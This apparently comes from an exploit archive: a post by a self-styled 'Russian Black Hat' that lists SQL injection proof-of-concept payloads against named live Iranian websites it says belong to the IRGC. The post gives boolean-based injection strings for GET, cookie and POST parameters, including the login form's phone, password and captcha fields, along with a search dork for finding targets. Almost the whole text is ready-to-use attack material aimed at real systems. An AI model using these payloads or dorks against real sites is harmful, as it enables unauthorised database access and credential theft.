Share
## https://sploitus.com/exploit?id=PACKETSTORM:165082
This site belongs to the Revolutionary Guards Intelligence Organization of the Islamic Republic of Iran (IRGC), which has a security problem with the SQL INJECTION Vulnerability "CWE-89".
We have repeatedly reported to this site that it has a security problem and has ignored our report.
We want to record this security issue
#########################################################################################################################
# #
# Exploit Title : Site affiliated To the intelligence agency Revolutionary Guards of the Islamic Republic of Iran (IRGC) SQL INJECTION Vulnerability #
# #
# Author : E1.Coders #
# #
# Contact : E1.Coders [at] Mail [dot] RU #
# #
# Portal Link : www.my.gerdab.ir #
# #
# Security Risk : Medium #
# #
# Description : All target's IRanian Military websites #
# #
# DorK : ""inurl:reports/status?s=" "site:my.gerdab.ir/reports/status?s=" #
# #
#########################################################################################################################
# #
# Expl0iTs: #
#
#
# address (refer url): https://gerdab.ir/fa/archive?service_id=9&sec_id=63
#
# vulnerabillity : GET SQL INJECT BOOLEAN Based string
#
# action url: https://gerdab.ir/fa/archive?sec_id=63&service_id=99999999
--------------------------------------------------
#
# vuln type : SQLInjection
#
# refer address : https://gerdab.ir/fa/archive?service_id=9&sec_id=63
#
# request type : COOKIE
#
# action url : https://gerdab.ir/fa/archive?sec_id=63&^service_id=9
#
# parameter : service_id
#
# description : COOKIE SQL INJECTION BooleanBased String
#
# POC : https://gerdab.ir/fa/archive?sec_id=63&^service_id=9%27) aNd 8634682=8634682 aNd (%276199%27)=(%276199
---------------------------------------
# vuln type : SQLInjection
#
# refer address : https://gerdab.ir/fa/archive?service_id=9&sec_id=63
#
# request type : GET
#
# action url : https://gerdab.ir/fa/archive?sec_id=63&service_id=9
#
# parameter : service_id
#
# description : GET SQL INJECTION BooleanBased Integer
#
# POC : https://gerdab.ir/fa/archive?sec_id=63&service_id=9 RLIKE (case when 8446715=8446715 then 0x74657374696E70757476616C7565 else 0x28 end)
#
#
------------------------------------------------------
#
#
# vuln type : SQLInjection
#
# refer address : https://my.gerdab.ir/login
#
# request type : POST
#
# action url : https://my.gerdab.ir/login^_token=pgRGDYQaJUExC0ELiQjyGXfjhZ2ZmtWzTV2Tl91Z&password=2420819&captcha=4844505&phone=99999999
#
# parameter : phone
#
# description : POST SQL INJECTION BooleanBased Integer
#
# POC : https://my.gerdab.ir/login^_token=pgRGDYQaJUExC0ELiQjyGXfjhZ2ZmtWzTV2Tl91Z&password=2420819&captcha=4844505&phone=99999999/**/oR/**/8871966=8871966/**/aNd/**/7193=7193
#
------------------------------------------------
#
# vuln type : SQLInjection
#
# refer address : https://my.gerdab.ir/login
#
# request type : POST
#
# action url : https://my.gerdab.ir/login^_token=pgRGDYQaJUExC0ELiQjyGXfjhZ2ZmtWzTV2Tl91Z&password=2420819&captcha=4844505&phone=2087986
# parameter : phone
#
# description : POST SQL INJECTION BooleanBased Integer
#
# POC : https://my.gerdab.ir/login^_token=pgRGDYQaJUExC0ELiQjyGXfjhZ2ZmtWzTV2Tl91Z&password=2420819&captcha=4844505&phone=2087986/**/RLIKE/**/(case/**/when/**//**/7338747=7338747/**/then/**/0x74657374696E70757476616C7565/**/else/**/0x28/**/end)
#
------------------------------------------------
#
# vuln type : SQLInjection
#
# refer address : https://my.gerdab.ir/login
#
# request type : POST
#
# action url : https://my.gerdab.ir/login^_token=pgRGDYQaJUExC0ELiQjyGXfjhZ2ZmtWzTV2Tl91Z&phone=2087986&captcha=4844505&password=99999999
#
# parameter : password
#
# description : POST SQL INJECTION BooleanBased String
#
# POC : https://my.gerdab.ir/login^_token=pgRGDYQaJUExC0ELiQjyGXfjhZ2ZmtWzTV2Tl91Z&phone=2087986&captcha=4844505&password=99999999%27/**/oR/**/4563301=4563301/**/aNd/**/%276199%27=%276199
#
------------------------------------------------
#
# vuln type : SQLInjection
#
# refer address : https://my.gerdab.ir/login
# request type : POST
# action url : https://my.gerdab.ir/login^_token=pgRGDYQaJUExC0ELiQjyGXfjhZ2ZmtWzTV2Tl91Z&phone=2087986&captcha=4844505&password=2420819
# parameter : password
# description : POST SQL INJECTION BooleanBased Integer
# POC : https://my.gerdab.ir/login^_token=pgRGDYQaJUExC0ELiQjyGXfjhZ2ZmtWzTV2Tl91Z&phone=2087986&captcha=4844505&password=2420819/**/RLIKE/**/(case/**/when/**//**/8423820=8423820/**/then/**/0x74657374696E70757476616C7565/**/else/**/0x28/**/end)
#
------------------------------------------------
#
# vuln type : SQLInjection
# refer address : https://my.gerdab.ir/login
# request type : POST
# action url : https://my.gerdab.ir/login^_token=pgRGDYQaJUExC0ELiQjyGXfjhZ2ZmtWzTV2Tl91Z&phone=2087986&password=2420819&captcha=99999999
#
# parameter : captcha
#
# description : POST SQL INJECTION BooleanBased Integer
#
# POC : https://my.gerdab.ir/login^_token=pgRGDYQaJUExC0ELiQjyGXfjhZ2ZmtWzTV2Tl91Z&phone=2087986&password=2420819&captcha=99999999/**/oR/**/6019831=6019831--%20
#
------------------------------------------------
#
# vuln type : SQLInjection
#
# refer address : https://my.gerdab.ir/login
# request type : POST
# action url : https://my.gerdab.ir/login^_token=pgRGDYQaJUExC0ELiQjyGXfjhZ2ZmtWzTV2Tl91Z&phone=2087986&password=2420819&captcha=4844505
# parameter : captcha
# description : POST SQL INJECTION BooleanBased String
# POC : https://my.gerdab.ir/login^_token=pgRGDYQaJUExC0ELiQjyGXfjhZ2ZmtWzTV2Tl91Z&phone=2087986&password=2420819&captcha=4844505%27/**/RLIKE/**/(case/**/when/**//**/2804470=2804470/**/then/**/0x74657374696E70757476616C7565/**/else/**/0x28/**/end)/**/and/**/'7917'='7917
------------------------------------------------
# #
# 1: https://my.gerdab.ir/reports/status?s=1' #
# #
# 2: https://my.gerdab.ir/reports/status?s%22=%221%22 #
# #
#########################################################################################################################
# #
# | Security Is JOCK | #
# #
# | Russian Black Hat | #
# #
#########################################################################################################################
--
E1 Coders